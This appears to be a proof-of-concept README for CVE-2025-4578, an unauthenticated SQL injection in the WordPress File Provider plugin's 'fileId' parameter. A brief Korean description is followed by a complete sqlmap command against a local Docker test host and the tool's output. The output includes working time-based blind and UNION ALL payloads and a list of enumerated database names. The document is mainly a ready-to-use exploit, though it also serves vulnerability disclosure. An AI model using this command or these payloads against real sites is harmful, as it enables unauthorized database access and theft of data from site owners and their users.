randomrobbiebf/cve-2025-4578File Provider <= 1.2.3 - 인증되지 않은 SQL Injection
File Provider <= 1.2.3 - 인증되지 않은 SQL 인젝션
WordPress용 File Provider 플러그인은 1.2.3 버전을 포함한 모든 버전에서 'fileId' 매개변수를 통해 SQL 인젝션에 취약합니다. 이는 사용자가 제공한 매개변수에 대한 이스케이프 처리가 부족하고 기존 SQL 쿼리에 대한 충분한 준비가 되어 있지 않기 때문입니다. 이를 통해 인증되지 않은 공격자가 기존 쿼리에 추가적인 SQL 쿼리를 추가하여 데이터베이스에서 민감한 정보를 추출할 수 있습니다.
sqlmap.py -u "http://kubernetes.docker.internal:8999/wp-admin/admin-ajax.php?action=dfp_download_file&fileId=*" --dbs --batch --dbms mysql --level=5 --risk=3 --threads=1 --time-sec=5
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__H__
___ ___[,]_____ ___ ___ {1.9.7.3#dev}
|_ -| . [)] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 12:27:43 /2025-07-10/
custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] Y
[12:27:44] [WARNING] it seems that you've provided empty parameter value(s) for testing. Please, always use only valid parameter values so sqlmap could be able to run properly
[12:27:44] [INFO] testing connection to the target URL
[12:27:44] [WARNING] the web server responded with an HTTP error code (500) which could interfere with the results of the tests
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=3c848e84eb9...0a1642563d'). Do you want to use those [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
Payload: http://kubernetes.docker.internal:8999/wp-admin/admin-ajax.php?action=dfp_download_file&fileId=(SELECT 6405 FROM (SELECT(SLEEP(5)))IWaW)
Type: UNION query
Title: Generic UNION query (random number) - 1 column
Payload: http://kubernetes.docker.internal:8999/wp-admin/admin-ajax.php?action=dfp_download_file&fileId=-9489 UNION ALL SELECT CONCAT(0x7170717671,0x7a444e596a635a4a5973674b546c5748505855427457424358546451667473444c444c614f455173,0x71626b7171)-- -
---
[12:27:44] [INFO] testing MySQL
[12:27:45] [INFO] confirming MySQL
[12:27:45] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: PHP 8.2.28, PHP, Apache 2.4.62
back-end DBMS: MySQL >= 9.0.0
[12:27:45] [INFO] fetching database names
[12:27:45] [INFO] retrieved: 'information_schema'
[12:27:45] [INFO] retrieved: 'performance_schema'
[12:27:45] [INFO] retrieved: 'exampledb'